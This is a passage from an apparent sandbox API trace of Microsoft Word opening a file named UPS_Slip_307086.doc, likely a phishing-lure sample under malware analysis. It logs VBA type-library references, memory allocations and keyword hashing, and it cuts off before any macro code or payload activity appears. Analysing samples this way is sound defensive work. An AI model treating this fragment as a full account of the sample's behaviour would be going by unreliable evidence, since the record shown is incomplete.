wMilliseconds=0x18f)) [0017.392] CExposedDocFile::OpenStream () returned 0x0 [0017.392] CExposedStream::AddRef () returned 0x2 [0017.392] CExposedStream::Release () returned 0x1 [0017.392] CExposedStream::Read () returned 0x0 [0017.393] CompareStringA (Locale=0x419, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0017.393] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x264ed8, cbMultiByte=2, lpWideCharStr=0x264ee0, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0017.394] wcsncpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x30 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#") returned 0x0 [0017.394] wcscpy_s (in: _Destination=0x743ef18, _SizeInWords=0x50, _Source="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0017.394] wcscpy_s (in: _Destination=0x743ef7a, _SizeInWords=0x1f, _Source="#Visual Basic For Applications" | out: _Destination="#Visual Basic For Applications") returned 0x0 [0017.394] wcscpy_s (in: _Destination=0x74876b8, _SizeInWords=0x80, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0017.394] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0017.394] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x7f | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x7f [0017.394] IMalloc:Alloc (This=0x7fefefb5380, cb=0x100) returned 0x74f4900 [0017.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=128, lpMultiByteStr=0x74f4900, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 128 [0017.394] IMalloc:Free (This=0x7fefefb5380, pv=0x74f4900) [0017.394] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 50 [0017.394] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0 [0017.394] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.394] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", cchLength=0x30 | out: lpsz="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc") returned 0x30 [0017.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", cchWideChar=49, lpMultiByteStr=0x264b20, cbMultiByte=98, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", lpUsedDefaultChar=0x0) returned 49 [0017.394] _wcsicmp (_String1="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _String2="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0 [0017.394] wcsncpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#") returned 0x0 [0017.394] wcscpy_s (in: _Destination=0x743ef18, _SizeInWords=0x59, _Source="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB") returned 0x0 [0017.394] wcscpy_s (in: _Destination=0x743ef82, _SizeInWords=0x24, _Source="#Microsoft Word 15.0 Object Library" | out: _Destination="#Microsoft Word 15.0 Object Library") returned 0x0 [0017.394] wcscpy_s (in: _Destination=0x7362d90, _SizeInWords=0x89, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library") returned 0x0 [0017.394] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library") returned 0x0 [0017.394] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library", cchLength=0x88 | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.6#0#c:\\program files\\microsoft office\\office15\\msword.olb#microsoft word 15.0 object library") returned 0x88 [0017.394] IMalloc:Alloc (This=0x7fefefb5380, cb=0x112) returned 0x748ae30 [0017.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.6#0#c:\\program files\\microsoft office\\office15\\msword.olb#microsoft word 15.0 object library", cchWideChar=137, lpMultiByteStr=0x748ae30, cbMultiByte=274, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.6#0#c:\\program files\\microsoft office\\office15\\msword.olb#microsoft word 15.0 object library", lpUsedDefaultChar=0x0) returned 137 [0017.394] IMalloc:Free (This=0x7fefefb5380, pv=0x748ae30) [0017.394] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.6#0#C:\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB#Microsoft Word 15.0 Object Library") returned 0 [0017.394] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.394] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", cchLength=0x30 | out: lpsz="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc") returned 0x30 [0017.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", cchWideChar=49, lpMultiByteStr=0x264b20, cbMultiByte=98, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", lpUsedDefaultChar=0x0) returned 49 [0017.395] _wcsicmp (_String1="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _String2="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0 [0017.395] wcsncpy_s (in: _Destination=0x74788a8, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0 [0017.395] wcscpy_s (in: _Destination=0x7478908, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0017.395] wcscpy_s (in: _Destination=0x7478946, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0 [0017.395] wcscpy_s (in: _Destination=0x74a8a90, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0017.395] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0017.395] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0017.395] IMalloc:Alloc (This=0x7fefefb5380, cb=0xbe) returned 0x73fa4e0 [0017.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x73fa4e0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0017.395] IMalloc:Free (This=0x7fefefb5380, pv=0x73fa4e0) [0017.395] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0 [0017.395] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.395] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", cchLength=0x30 | out: lpsz="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc") returned 0x30 [0017.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", cchWideChar=49, lpMultiByteStr=0x264b20, cbMultiByte=98, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", lpUsedDefaultChar=0x0) returned 49 [0017.395] _wcsicmp (_String1="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _String2="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0 [0017.396] wcscpy_s (in: _Destination=0x737a02e, _SizeInWords=0x7, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0017.396] wcscpy_s (in: _Destination=0x74a8b78, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0017.396] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.396] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x264b20, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.396] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.396] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.396] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", cchLength=0x30 | out: lpsz="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc") returned 0x30 [0017.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", cchWideChar=49, lpMultiByteStr=0x264b20, cbMultiByte=98, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", lpUsedDefaultChar=0x0) returned 49 [0017.396] _wcsicmp (_String1="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _String2="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0 [0017.396] CExposedStream::Read () returned 0x0 [0017.396] wcsncpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#") returned 0x0 [0017.397] wcscpy_s (in: _Destination=0x743ef18, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL") returned 0x0 [0017.397] wcscpy_s (in: _Destination=0x743ef96, _SizeInWords=0x26, _Source="#Microsoft Office 15.0 Object Library" | out: _Destination="#Microsoft Office 15.0 Object Library") returned 0x0 [0017.397] wcscpy_s (in: _Destination=0x74a8bb8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library") returned 0x0 [0017.397] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library") returned 0x0 [0017.397] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.7#0#c:\\program files\\common files\\microsoft shared\\office15\\mso.dll#microsoft office 15.0 object library") returned 0x94 [0017.397] IMalloc:Alloc (This=0x7fefefb5380, cb=0x12a) returned 0x74c37d0 [0017.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.7#0#c:\\program files\\common files\\microsoft shared\\office15\\mso.dll#microsoft office 15.0 object library", cchWideChar=149, lpMultiByteStr=0x74c37d0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.7#0#c:\\program files\\common files\\microsoft shared\\office15\\mso.dll#microsoft office 15.0 object library", lpUsedDefaultChar=0x0) returned 149 [0017.397] IMalloc:Free (This=0x7fefefb5380, pv=0x74c37d0) [0017.397] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL#Microsoft Office 15.0 Object Library") returned 0 [0017.397] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.397] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", cchLength=0x30 | out: lpsz="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc") returned 0x30 [0017.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", cchWideChar=49, lpMultiByteStr=0x264b20, cbMultiByte=98, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", lpUsedDefaultChar=0x0) returned 49 [0017.397] _wcsicmp (_String1="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _String2="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0 [0017.397] wcsncpy_s (in: _Destination=0x74f0478, _SizeInWords=0x70, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#") returned 0x0 [0017.397] wcscpy_s (in: _Destination=0x74f04d8, _SizeInWords=0x40, _Source="C:\\Windows\\system32\\FM20.DLL" | out: _Destination="C:\\Windows\\system32\\FM20.DLL") returned 0x0 [0017.397] wcscpy_s (in: _Destination=0x74f0510, _SizeInWords=0x24, _Source="#Microsoft Forms 2.0 Object Library" | out: _Destination="#Microsoft Forms 2.0 Object Library") returned 0x0 [0017.397] wcscpy_s (in: _Destination=0x74a8d10, _SizeInWords=0x70, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0017.397] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0017.397] CharLowerBuffW (in: lpsz="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", cchLength=0x6f | out: lpsz="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\system32\\fm20.dll#microsoft forms 2.0 object library") returned 0x6f [0017.397] IMalloc:Alloc (This=0x7fefefb5380, cb=0xe0) returned 0x74de610 [0017.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\system32\\fm20.dll#microsoft forms 2.0 object library", cchWideChar=112, lpMultiByteStr=0x74de610, cbMultiByte=224, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\system32\\fm20.dll#microsoft forms 2.0 object library", lpUsedDefaultChar=0x0) returned 112 [0017.397] IMalloc:Free (This=0x7fefefb5380, pv=0x74de610) [0017.397] wcscpy_s (in: _Destination=0x7498c68, _SizeInWords=0x70, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0017.397] wcsncpy_s (in: _Destination=0x264c30, _SizeInWords=0x108, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0017.397] CharLowerBuffW (in: lpsz="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library", cchLength=0x6f | out: lpsz="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\system32\\fm20.dll#microsoft forms 2.0 object library") returned 0x6f [0017.397] IMalloc:Alloc (This=0x7fefefb5380, cb=0xe0) returned 0x74de610 [0017.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\system32\\fm20.dll#microsoft forms 2.0 object library", cchWideChar=112, lpMultiByteStr=0x74de610, cbMultiByte=224, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\system32\\fm20.dll#microsoft forms 2.0 object library", lpUsedDefaultChar=0x0) returned 112 [0017.397] IMalloc:Free (This=0x7fefefb5380, pv=0x74de610) [0017.397] wcsncpy_s (in: _Destination=0x264c00, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.397] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", cchLength=0x30 | out: lpsz="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc") returned 0x30 [0017.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", cchWideChar=49, lpMultiByteStr=0x264b20, cbMultiByte=98, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", lpUsedDefaultChar=0x0) returned 49 [0017.397] _wcsicmp (_String1="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _String2="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0 [0017.398] wcsncpy_s (in: _Destination=0x743eeb8, _SizeInWords=0x85, _Source="*\\G{1D4669EB-8082-4799-9832-B061B3442490}#2.0#0#C:\\Users\\admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{1D4669EB-8082-4799-9832-B061B3442490}#2.0#0#") returned 0x0 [0017.398] wcscpy_s (in: _Destination=0x743ef18, _SizeInWords=0x55, _Source="C:\\Users\\admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" | out: _Destination="C:\\Users\\admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd") returned 0x0 [0017.398] wcscpy_s (in: _Destination=0x743ef7a, _SizeInWords=0x24, _Source="#Microsoft Forms 2.0 Object Library" | out: _Destination="#Microsoft Forms 2.0 Object Library") returned 0x0 [0017.398] wcscpy_s (in: _Destination=0x74a8e30, _SizeInWords=0x85, _Source="*\\G{1D4669EB-8082-4799-9832-B061B3442490}#2.0#0#C:\\Users\\admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{1D4669EB-8082-4799-9832-B061B3442490}#2.0#0#C:\\Users\\admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object Library") returned 0x0 [0017.399] CExposedStream::Read () returned 0x0 [0017.400] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4b00000 [0017.400] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x4bc0000 [0017.401] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="0") returned 0x301047 [0017.401] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4b10000 [0017.402] VirtualAlloc (lpAddress=0x4bc0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4bc0000 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Abs") returned 0x3072bc [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Access") returned 0x301d98 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="AddressOf") returned 0x30e252 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Alias") returned 0x30bf6d [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="And") returned 0x307469 [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Any") returned 0x30747e [0017.402] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Append") returned 